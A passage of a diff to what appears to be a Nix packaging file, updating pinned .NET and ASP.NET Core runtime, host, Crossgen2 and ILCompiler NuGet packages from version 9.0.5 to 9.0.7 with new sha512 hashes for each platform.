-        hash = "sha512-4IcCNgCcWEOmV+JuEyaEzyJpFhJq3ktDwDPVoMf2c6fNhtl46YgjGjGdLw1uLHu3UYAcJI0Tlvd5kizHwoqEIw==";
+        version = "9.0.7";
+        hash = "sha512-F8YKtHc6Z9KRAo1roiwNnqYCIC4OmGQmq/u1dwumD5Rt6dhRBnbzSVh7wl6OKRADLiX9MevObQ1EqY+pArvk6Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-AMq9q2VAWgNOK63kxWcbvBc+wUUB2a2gK5yfeNpj0pK9rb3i9np2tmm7RbXEDCkDr/m6hR/kqm1RkbhvRdofEg==";
+        version = "9.0.7";
+        hash = "sha512-svhK1og7b18+H2+pqPDerMtM+nFNI1MjvOFyfZ6Q66ALxDf2v4/TyTvekJqEFTeqAl1dG3tYTChRk5ftd5QSeQ==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "9.0.5";
-        hash = "sha512-Ndx5gVPDtSfwCwFEXm520IUk86xPUQ0yzU5ZkOj5Enkn2Tt3eIC0rI0Stjzs52/JYo1oHM9Cj0FKoHvm2XX6+g==";
+        version = "9.0.7";
+        hash = "sha512-99F1DpBPJN1n2CUfgTgI69e1UaEzT16bER1ROa7i04LJbla7Y4PTe81/wNfg8BFBXV8k9LJTErLDFTQcLRNK6g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-aE+vLS9/ZwCaunIpKgzPYl3siu7eglD40YpT/ggX97+8JidaS8D/q8/nJ3CMAFwkWs6RfcdG739YY8TvcfyYbQ==";
+        version = "9.0.7";
+        hash = "sha512-FstPcH3XP9bH8nuTpq129w8M8Qt1LdJqhBNnPJJe6fgwMTaAsHzfmlcDQiPsuXkDY0nDMMug/TUrB3e7xRQwrA==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "9.0.5";
-        hash = "sha512-Xa1BhvYwDZP0ajkx61psrhbovJf97lUKXg58LJY+TA/9xURTUcMrHSn5BB+wPHDYtBNsJftserTvG+HeR+NXQg==";
+        version = "9.0.7";
+        hash = "sha512-KPYuoUlT2noytN3CQxLSSorNUq0W/6KH8P41j2lXhTW8+EvH34osmFwOKSTZoCSLgZBLgTUhgGS/7sBwqPJgZw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-iXbcLp5noA610tVVbvppH0WoGw9Tk7x0sVmbEhTfvhtrgz7SAYvnJci8XMaWIUNTVterN0w50E6dEHUV1mX+wg==";
+        version = "9.0.7";
+        hash = "sha512-hu2Ls1ISDdHRgWoNMDFykHxNGNx5AFf/tSniUEd+Y6filNBm+iwzZlP9Wfb9HQ+N0Dtd4awacc9wxjCibkwiqA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "9.0.5";
-        hash = "sha512-69GFvWBiC0BXfgDZ6QhMPr7pUmrepsvF+C8I7X/Co0KpHtB70/89nshsY/i1H3LKp0vL+pfbJFRjvTrf+L2Sjg==";
+        version = "9.0.7";
+        hash = "sha512-EBmqQ9WVYHtpGaiq4dKlJw1q/RhqKNRu/kTqx0gqyF2KlULEm759WVXvNsTbn5z4rHATmUlvMbKHl6aPGeEGSQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-MmwaKx16ig2VMYpnGIhhIDYfNonXUUf+DocK7hg3Ur+zghob63ZQ4diPaMv75gJ+f0TVWHUDuwIn8u4apKE8ew==";
+        version = "9.0.7";
+        hash = "sha512-JeyTs/3XBT11xNgnJJW91++uJ1waJMoAp+FRQ9CyY9TPYscLOUDTe5cKAy/p0l1lbEOVFbqu/YhpjhJ4S7SH8g==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "9.0.5";
-        hash = "sha512-A+ZcBjMxZRcWNYjBUQ2EoX759Ls9x5gWHe3vdzfWF2YCg7GB+vGlQx2UtdMfkaGoH/nkCXl0saghJSuSWw8+DQ==";
+        version = "9.0.7";
+        hash = "sha512-SY7EUX0XS4zl6TIqcv17AO5xQDPxrz0pRX2Bzn/KboWFObsLNfF4V+1HW4jLbSMsIK97MskDjfaedeNhYy8K0g==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-urCeKcia9RhVJJOBROuCXfOBTB3qbAO85uyYhglLGSaT0XAHzQ1p0iFS+nZrFBdHTBJ9Z0eK01mIW03FNAFb0w==";
+        version = "9.0.7";
+        hash = "sha512-sTMXmk+7zY66dB2lTSeqbDAUvMW+iUb86MC5Q6ALnAcQfB0BS0Y0sCFAfqDrjb3+3l2NyGtkLdKA6oI379oWrA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "9.0.5";
-        hash = "sha512-NI+qfc8De8XP9ppO1q7vWBOqrDIrW2/Sza/jUN5tObfmJ1tycjpChtNOs3mSrbU3Z/UYrAQkvupGYvL+gCZSQw==";
+        version = "9.0.7";
+        hash = "sha512-C2yLDWG6qVMh54srzmyNG+w8kl/gU4TPGKkQhtotemLdIaamHyLM8xTW6UQxubC7ygqV73RZ/gip80zGt3zw0Q==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-Lcuf3n7bbcm0qc2lqzMdrQHpS4NHcUPp+3YVrfDjRsxYquSooHb/JtlslBmLhOwzUMUD3y9pJLAd3pk2K8+iDQ==";
+        version = "9.0.7";
+        hash = "sha512-9hmu86MCK6T8374cYyl+AbPpgocORRD7kPKlFjMp2vKusZSWvc5QhS3DvPD6Im9cS7wiiXNhN/IxIvMuOuA2yA==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "9.0.5";
-        hash = "sha512-CM/Pt1M4wrBxhwu1tC2smQ3b89bK0tHeHbw7bb5N3t4S9TO1OihQUSNpKYNYUcag+i7MQACkJ6ar9w+QCwUj1A==";
+        version = "9.0.7";
+        hash = "sha512-g3WkCqIJocgTL0Ggcci/wRM57+APJh80V8dJtp2dK2ol2lYdR4cH2UcRLY/ePIPwpYZrbM4jbW1Pom3C9AjLEg==";
       })
     ];
   };
@@ -160,361 +160,361 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "9.0.5";
-        hash = "sha512-dcr6pOXx0PgN1WGp4qNoxx6/VG5DxhhbOaudgoVnL1xLup53kjIytNx3K96gHVzpvVTQKGt9RgomX/bTwYuuJg==";
+        version = "9.0.7";
+        hash = "sha512-F978bKpKaTVK7yUMWyN99AxsaK6AmkOOkUelyGJLT2MGGNtUyEYoqG6Z9xlm6xMYNGYo5qiSPcFAjZsOXq7Jpw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "9.0.5";
-        hash = "sha512-zxFRCxPWBcsHfMhX4j+yqRHnbeQlR0NTw8JEYYO4d/V7hgwBL3obJQeTTdP+Xh68QxFPJFqAQTCJTTy/T406bQ==";
+        version = "9.0.7";
+        hash = "sha512-jDGelxUC3MZT30iJzCQDgbTcHfnbeDUDnRYtNfQ2czkaRfrQcgfZrPWX34KRuU61KAxpLLYg9heUbmnevM4aIQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "9.0.5";
-        hash = "sha512-aUM0/okMRohpeJmvrRHbpyF69SptLu+DDufJC3APk0I0ok88T1HSlG/vn5Apit72KTOc70vJVMVcaQcNAN1R7Q==";
+        version = "9.0.7";
+        hash = "sha512-P8KiD0vwj2ocq/3D/a3vxAkqB/FXHuZl1Os+lcqu4f4k3LmBsju2R+WZnsWljWCEfAm6bwjmtyMchPQnzkmVaQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-xN6i+Ov/DrFY3S9W5jVW475scRokjdiMITS05+NfPXQC70zE/kfVujdXVQlU1a6qcNVO1p70PdMIzvs2FRtpVg==";
+        version = "9.0.7";
+        hash = "sha512-j3jihG333llTYG6zr9lCKGj7OPHjZE4hc5RHNkWJShJKecFHMnPk9UkFfzgyf6FouM1K4gA/OyZT/wjmDmdf2w==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "9.0.5";
-        hash = "sha512-Mt8To4crSMlcaHP/BiZuUAroEYQyOazOx6jzVo6H3GNlLKY7rIFk5cgKLXxKVF2fLcnab8d/DbBY1ZRlW0DUeg==";
+        version = "9.0.7";
+        hash = "sha512-vQX6KFVBAeIo4SvLwlGw/MivqU3JC7mxsVLlNRQzX9W+vbDLdDgLrruCebjRqSdgDV9xoLx3hLGc5BZOdtOJ9Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "9.0.5";
-        hash = "sha512-V7LGhVXf4viIZlEBldjN9P5zririHYIcF+0WOdWVydaOvygXoY4Ni4q8vjFSZ6elJAtremagj3hIZyXQul2+jA==";
+        version = "9.0.7";
+        hash = "sha512-M6uGdxBqyzODiOmWE7VmnAYR/O76ZSr9sVNRCwYO7HOZYZylw5y51gRvgW1u4hFeIJxvMWGgicsHQ10FeAEKwA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "9.0.5";
-        hash = "sha512-Ohgbw58CYKcYdo/wX7jRSwbgmZbSadu/b8bKeuRFQMSg5T0UH8yCjSqZOptt1MS/8HmpbEIA1ftgkT9agt+OvA==";
+        version = "9.0.7";
+        hash = "sha512-atws8JTumHepwLA2m3dKlda/m25s+kYW1ROZD+AlpjQ76MWxa1YYRNVw8WC6eaa3VAqXOQdR9ve2jsBMnjKuwA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-SHabZtiO2X3nJDFFO7kgv1rBpoSdc3oIHqQ2B2CmfScUO5vKu+ICDPl8ppNblEO8QijdU7Ro/doHY0J+sCxGoA==";
+        version = "9.0.7";
+        hash = "sha512-nGVfOa47L+KNChpXQN5PQjI6CSBFXvH63+EJPcusBiH+BcddA5VPFNGFj/Kb3VCrXNKKGFJR6A0Xlgp2UtQhtg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "9.0.5";
-        hash = "sha512-eGGCJb+uBv6vOgtEe+ED6KXtAXbCcT9xTpDwugitsQ8zBhIwI/WurixXw3TjmUqrvZxZ+HJCPoRl/kMmNuioeA==";
+        version = "9.0.7";
+        hash = "sha512-qkZemav26phWQKiDIGhQjEmNYefeSJCUOHIF/eHiaDnRm2ZmE1zn0Gwiva1DtDScDgDpTMAk2LzRQIOUDwjbSQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "9.0.5";
-        hash = "sha512-3LsjkhMoNA7EvYv7O6OrVrryhyegoSBE5Y5Se5iJ7HAXFSUQ7fIYGihhGxy/Gfr8X7MrRu5JGkLx9inxSoB85g==";
+        version = "9.0.7";
+        hash = "sha512-lWz1s0VgvrE2DiDEoWzZALdICtr8+heyyGjut4tnmiclmQq6OooNIj272xxqUTd/fXbMm4SnroE34hUUhkiDHQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "9.0.5";
-        hash = "sha512-G6euOgaAfYCYWmWlDU2NFfpZ6tiC7/fDiMmb8YtlQVPI87JatLGWduxQQSqdhwKMDJuQZob6tW+Dv7a3LZt03g==";
+        version = "9.0.7";
+        hash = "sha512-nR++CrvFiYs9LGxdTeRR9kVO4tLPV4hXQJuCPEywji0ikT0H71z3i/ZNhCLHOoFseddfb+x8wh0o346H49/Wdg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-dj/5fuYoWKYLwm0RMvVUDM4arCBwLXBIZvYZJRTQFlv9MFxwVrmaeqjL45UVI1RgEzhwLLEUR2MQM7vMUP/QLg==";
+        version = "9.0.7";
+        hash = "sha512-FrNN5JnBUVIrEjEggGLyKsQBhPmUUSHXtlSGo1A5YuAwNUtepbTbwLMCcrEfNJgNQ38+L8naAGu1ZqKtcRZt+g==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "9.0.5";
-        hash = "sha512-9cYhk+OCPeVyNyFEbAweEqYHCIkreEWXzXyP06hpxGu8b//n2hLrjXv+aErRjVzGlpLZoRalMyzREx7naSEgzQ==";
+        version = "9.0.7";
+        hash = "sha512-ljwTM1F5KPl0wWaDks91B4+UHaSrPE9G6/U3vqQKspYXjd7D4cI/xBhnIrQrae5ntPAXHwk03Rt0VsbkIP41wA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "9.0.5";
-        hash = "sha512-sFJWSzk+HKZ9vSOgN765Nru+XAyebFwgKOvAdynCv/2hvluBYbS8FcLkydd+n+PYDrw+yXf0VPWlzpnWeSmz1A==";
+        version = "9.0.7";
+        hash = "sha512-wUkyIvfd0uKKSulkzfOTV1ACj9xroqDhAU39Ufz2ZWLoTsjsm1O3+O7KtqEwsJ7pUdy+am9TnIN5pG0hfsFepQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "9.0.5";
-        hash = "sha512-8Wyh6qTQ2oZaJeGP5SdiWaXoMc6NRMmhHTO1jd8H1XHhgBRXXbkeSHOy30+HInhTiLo+1h5zeI6WBZl559Aa2g==";
+        version = "9.0.7";
+        hash = "sha512-HoPuExDtKhtkoJGwq+B6mDzTKtjKgrwIij0u9954TfjZyDDwJozmEnFgtoZZ4ltTH0sguKL1JSN7GFYFkQq3BQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-mH97t09X3T3JlJC4FfWdX0aG3hYfvmBtA09ysq/eTXEKmGJ4jtl6I+EfeI9dVPFSdYkHlBpMLmbnyfThTJqg9Q==";
+        version = "9.0.7";
+        hash = "sha512-3qlad7bv/DSNzxH/mgvwM//MX4fA1OQmGjyBM6eujEm/K387JQ4OUgtpXHsu8jHvRARCuFB/qNacxbzvYInh4g==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.5";
-        hash = "sha512-tBjTfNRXttxWvq296At7QvA++n4lr2TnPQP/ub5wfsnELt+IIjnc7Kt8c+qKEJosdOP0TOKiQoyYbYKrH1JzBg==";
+        version = "9.0.7";
+        hash = "sha512-sl8QufxXNfWIxOjZQtFJJG+5zRWZtxQc0CMOtVF5SURkZLz2Hy9KwF6bz2tlljohK/Akf0udaeYK2XhnHIKiug==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "9.0.5";
-        hash = "sha512-pJotYqQ32S9wPYYlw/xgMxrOS/IGDAxWnHNtynxxbyrLGe+Bvpu5mAWFOieTCd5R7PGgCStLL/RCCzS2HDo4/g==";
+        version = "9.0.7";
+        hash = "sha512-8TsHIOl31DLvkBgj8mHbjP6eSK5wpIGygkdSrBqUJbs+k6MIQrblw5Q6HwMsS8LcRtxvZ4PtoEBubvie/dGSfg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.5";
-        hash = "sha512-PX4wq6bS5SJraHVSM8JVazfoPE3YzgIht7zIvFyobXqRKfH26DFmolor1vGxlFoboyOxIvjaG/Ky8nXo9zTLUA==";
+        version = "9.0.7";
+        hash = "sha512-SXg/5ySrWhQuauFbw09ydh6uJadEAWSfOVDwdEb4Tbd+DkCkjk/bjGn0ALBcM8iEjLbbRMvPOd536pS07fQnWg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-Dnl6fzn9mg5UnGShXymf1P557chMX39XUQZ8GnoTYIB7Nmni80ncNO3z24WcMDvr4U3AZJvk1CARRLAb8sk/Sg==";
+        version = "9.0.7";
+        hash = "sha512-5wYYJd1dr4n/CF/EOHVq4LT2KlEojcl5IWSxa0y4/fdO/1SEKOEPDBKqnR9kiPbNKTB4RRFehQr/kkaY6bCwsQ==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "9.0.5";
-        hash = "sha512-7OeO4DIkZcGk4RebYl7T4CKXM7JfVwpYFbkNqHDw8JkzqlLZoVKRgx0jKxXZbOXQ0WN+rJttGKdBDeiZ3zmbXg==";
+        version = "9.0.7";
+        hash = "sha512-zTbTJ3M1BSPPTHkk4KHZJyrK6DhpMUiryHBZ1AYcRlLYCK6ZIpAjv4izhMQHAxMIqz6ovLZVuvc7vU8aKG9qrA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "9.0.5";
-        hash = "sha512-tZ9zT1WsKnq5YQhRn4VMGESI8ESDdUAcjQX2/zsKQTW/jpTHUWxhmT/M6EcHp2bMKzct+vF32HCJvZfrbCw0iA==";
+        version = "9.0.7";
+        hash = "sha512-ci5Uyc/L/+JSEsM6XtuY2W/94KWhAU6K/txAf7FXoups3/kLRQfSSTeSTZ3W6WbUuI2w40Xl0YYOHTo4lTSDJQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "9.0.5";
-        hash = "sha512-m4VQm5xFePhThG2c63/d3SvGi03zPEFmQcKycV0lOqRHlo809ahHkhq7taiftuwRTfFy/5R8+5TEsaAOxQ6gpw==";
+        version = "9.0.7";
+        hash = "sha512-/RSgn8w2zG9pJOQx3qtyce5zvFHxGc3TV3BOTCa9IDM0U33rbNiLg3GEEaodvAuiXkY3jsnDd4HT5ZOHnfboAg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-fgOU249WCVcsLJdS6BJ1auevUutNXlCqcsyF8wECB8Oq8SSTMKKFFJl8n02n6ZoJoGp0nsK2LgubYatGq6CaVg==";
+        version = "9.0.7";
+        hash = "sha512-6vAs0KI14hm+AnP9gBoykxOadgp456o62SJ+o6yFDVqxn+nWb7t4Mra9oLi6YWH69m8mVQN6x0QCusDwdtgKuQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "9.0.5";
-        hash = "sha512-WUqvMm7lDZ9qCfDUQSTyuBr3julN+SANxShfxBe972+qO9VIH7JRL2u85hi8IKP6L13L0mVX2rO6iswQfCZE9g==";
+        version = "9.0.7";
+        hash = "sha512-vKDr+mIfrFC4pGBS7xsN4kqa6YMXezozSfeWIgi9NUzI1tlrRIZrwEla6eIuU/tUzZrrE67bju4R3BnrFSTtwA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "9.0.5";
-        hash = "sha512-2Y+mmx4hJtcOwNb4qJUuqv0ekrjAyFS3zCK2a6T2TpNQ9ON+ywbnkjQfqwo+hs9uWE1TBiXS1iGgJ6k/f0W3Nw==";
+        version = "9.0.7";
+        hash = "sha512-oYJlCtnHBn3dWqOgyE1E4ng+lXJRPzWNYsf+lj00bCLFkjaTLBmG35hMlkZ1ZmZDPBU4VvOuHDyVx3/QLJVheQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "9.0.5";
-        hash = "sha512-AbfmNGg4zIxlpqakXSdmFYk6k3JE7P2j2z2qUymYbuCHyzS9IqwRIL6zK3aHhUS9b4BWrZkRGbrvq+t9zYERMw==";
+        version = "9.0.7";
+        hash = "sha512-34Y4PO3TmpEaBf7DOQUlckzuJb6G7s3xubcJP3xPrwbLsVstOL6SGKBofWqjyygH3i4VgLYc3bqxoYDryXX2mw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-przDLKwmZAQ3fdAlyZ7QGwZZt3s86rgqrcNO1+nmXcCx5ZD6ZlY7Az9QJ4yXkSARFZ7Opk2jep2kEW7Cfpv2zA==";
+        version = "9.0.7";
+        hash = "sha512-RPzpHiUrXTqW/hLeUqZDA9AFSkVseZmvWY0wwjD5GGKsTRzQS0yT42PIVqsHbEN/nHRRKWyvTN7tokyYz+MiRQ==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "9.0.5";
-        hash = "sha512-KiwdOy8CONzPmGpfSClgu06GPh2W/6Dhp9IA6cUXx5TBi5WgnoDmd4Me9Q6UmGISuR6hCHsKiCWhh/5h9pJDPQ==";
+        version = "9.0.7";
+        hash = "sha512-GOs5KT4SIzSpfe0WPbFVhnA8+klHq8FbfDeDUTvbhSIClPLEfwheeaM+HuQpZTzxpOaMTWcmrawm33ia3NZyMg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "9.0.5";
-        hash = "sha512-VsEjG4O4eutC8yMRK6naQco648zjpTNl6yxP2fCqH96hq4epnscbmoMio/Bxopt7Xi01y+L78zEcJF8bY591bw==";
+        version = "9.0.7";
+        hash = "sha512-4oU3yJfh3HRrvRrCC2QU5wwhqiLc1Zl6Py4cmBVFgNdHOTk38/gt43tWiRBAL+xNr0mX0cltGPMirFdtFZt1wg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "9.0.5";
-        hash = "sha512-g0Sd+FeVygI2RcT/5DNLcW3c2sePB3aMzc8SAnPI35YB4wfQSbrCeN6B5pw0rZAGP5F6FnnVRfZUTJgcnWCZ3A==";
+        version = "9.0.7";
+        hash = "sha512-cWumHZc5W8yX5c00U3t4WUymi16KojHUMgSkla5NvzuVPmDpopVKsiRB3j+iQtwA14apPr9fe11srPVVMH4WEw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-RUBFgRdKBSinOH0IlR8RW5RJOf4jghKTRbVRUD8JgcWriAfNkBboyCO9EhuBEs7219qMlrI5VtQxDKrZi042EQ==";
+        version = "9.0.7";
+        hash = "sha512-BODpAvApSDrrndr/6MIR52Sztu7iXCUt4Tn8ex3ZqDMsWgoiCXe70WT0loozMuU+ZnzsXyJf8m2JSlZ5NMsK+Q==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "9.0.5";
-        hash = "sha512-OPTkSCy26Na+K4J2xpIHmW+KquH3QUguRR3PH6pr0pggL0Cs9dvEepp2yC3oy5422K6yijhyBQ6DnRGJmqh8kw==";
+        version = "9.0.7";
+        hash = "sha512-nn5X84wpzbMfJ1Vx8fgZdL7cq4d2KxWK3M9GBH4LggzYMnK79YDfoxHl+YLTK5EfqgxFfxunzZdNrpUBDP6F6A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "9.0.5";
-        hash = "sha512-efQXE4FXpKHFSaW2/qEG6QHZfe2QnOXzyhVxQdF35HcExk7zhkRzdQigtQ35ugDfjfG2E0bnMijQgAowJ/OjeQ==";
+        version = "9.0.7";
+        hash = "sha512-i6qupvYxI42nWLBGcj6Qe6oMPl1uk+9ANDTPz4x29O3/VEeUw7pJZar5dExUcc41cfgA30UHTkyzZ43umrFirQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "9.0.5";
-        hash = "sha512-2MkjZyR4eKtpIwYtwa3/aJD7v8dz8CfE2wQO0+HX0kiwi/UbUp+R+l6//QcjEm8z4CLZUiR7iu1GoVFtbHVFUw==";
+        version = "9.0.7";
+        hash = "sha512-i6rCnWy2wF4dseZ6IQcmBPs/A2rj8Yaji1UilfXyOtRnP3uQazDEC7Pd1JJeqzCTNRBgfvXw3r8IHXTxt107tA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-nYw2JUWOVAWFEkJ0QF6YPOkB5/YtauREJqPDvu9XOETbozItpvO+qkrEfMUfsZzZOhg0pDJzYrLH0Y1DfA0QOA==";
+        version = "9.0.7";
+        hash = "sha512-sJgDF8XETA5JhPSvt3/DOIx9SSTuaG14oKcVpoJX4Yg8pPQJ85IqESoo3VSRR7HQWN/e5Nt6ySu7/jnfXC0szw==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "9.0.5";
-        hash = "sha512-7RIDa9js+tIxcs24Ph4IbI3/bmimPcDHhWuO9wGEU0LC2FVSZbUnMOpdLUih5uOQYHx2upBrGqDXzs3U1YjtSQ==";
+        version = "9.0.7";
+        hash = "sha512-7p8ELP0eWRjIb7/djqopJYoLoQstaBZFh7vDB91ikkXXlCxyHr14h0CygLkcUELTMvSS0jnAQ+icnYy5NBA0SA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "9.0.5";
-        hash = "sha512-DWQNw2TAkz2IghHmpdBmDy6fjJwUT0xpfl5KcN32EmXFgODbeDnlOHyGrW+DnOg/jeiBwidNz5bLH0Yeqkn0iw==";
+        version = "9.0.7";
+        hash = "sha512-Yk+dlmzAg05RUkf3C4eUuEwpk+QFSR8lFpIe5EUT9owyCqCYBa2NrkqeRP2XoIPzbqhNIZqB6ChSbpg0wbPMlg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "9.0.5";
-        hash = "sha512-niFnR3jx4KQjMUg0MOP2OZAN80qoRnstTi26vwU6OREoVN7n+9sa3iRPaT+XyyUa+/egzbU2TTrR2zJ8+dNrzg==";
+        version = "9.0.7";
+        hash = "sha512-+oZ4sarYCA5fqawFE/9JFJtNnERKCMRY4SBNI6FVKtLomoOKbu5LxdxcV4SWYBqfXg08fWJEZX8qHr/Mmd/nHQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-AKZVJ95KmBq2a3LGiaBLwByTpbeiVOcQIbOpbvUxm4v593/2AfH5YkhBO3d9DkX/WcmTIxCuVYArLKuIBBr5wg==";
+        version = "9.0.7";
+        hash = "sha512-ozFg9cjKG8pN56wrFPV+m0wbVyK+cOutTo8LrIVYeL3epXnahBIa6em7POXvJF2FRmTRjD85ASH8xIrVMc7z6w==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "9.0.5";
-        hash = "sha512-7FzK7ZFl2uIdoxbry0OhzREpXD1hw2JscEnScAqakRhN+VjxYwegvwSAHqIBKWIoP4lwnFrlCWi0a7Tx6uqPvQ==";
+        version = "9.0.7";
+        hash = "sha512-vgQaQhPWngepjw+y9qhNx9b/QDK1YmSlYzjO8WUGfYDPnUn40gLUzMKlPUAAMTPBIt3clULPLy5K6c6w3bvQxg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "9.0.5";
-        hash = "sha512-OBtv2h92NFsBd5igAFCfEKhEPLoaAzlWEOFq7DgIwxSK0dRgxsyoN1ucuFyxcdhoeoL/tgbCCln9PPhFiOFKzg==";
+        version = "9.0.7";
+        hash = "sha512-ec2/bdKdUMyYC93cIJ6sqAG5yqdjJ1ikRwy7U12B77HrWMBUOI3UeHRmgcBNw775fYZ8Ut1P15WyaZmCJMW+fQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "9.0.5";
-        hash = "sha512-206fJvhhVksd4A6+vl6SJQSOIBI0RnX7LTpTzTZTI623ujzvNeRKxnvfaPjvic3p4y5U4ylY87ZKnmDyxF4LAQ==";
+        version = "9.0.7";
+        hash = "sha512-yebdLREVWLaayNNfyAu1rffiP4GIpa+Tyz7dhGIF1AlYPWdFHGldYz1eYepzWqqiAXWWgEINQaLD8yaPgRLnSQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.5";
-        hash = "sha512-pKjelywn3XQhcEjlRdH+KG+itTvvh7md1Tr6+lH7RSiQewicsTO62pRTRPmEPUxEqRQPcTfSKVgC/xqvv1cWrQ==";
+        version = "9.0.7";
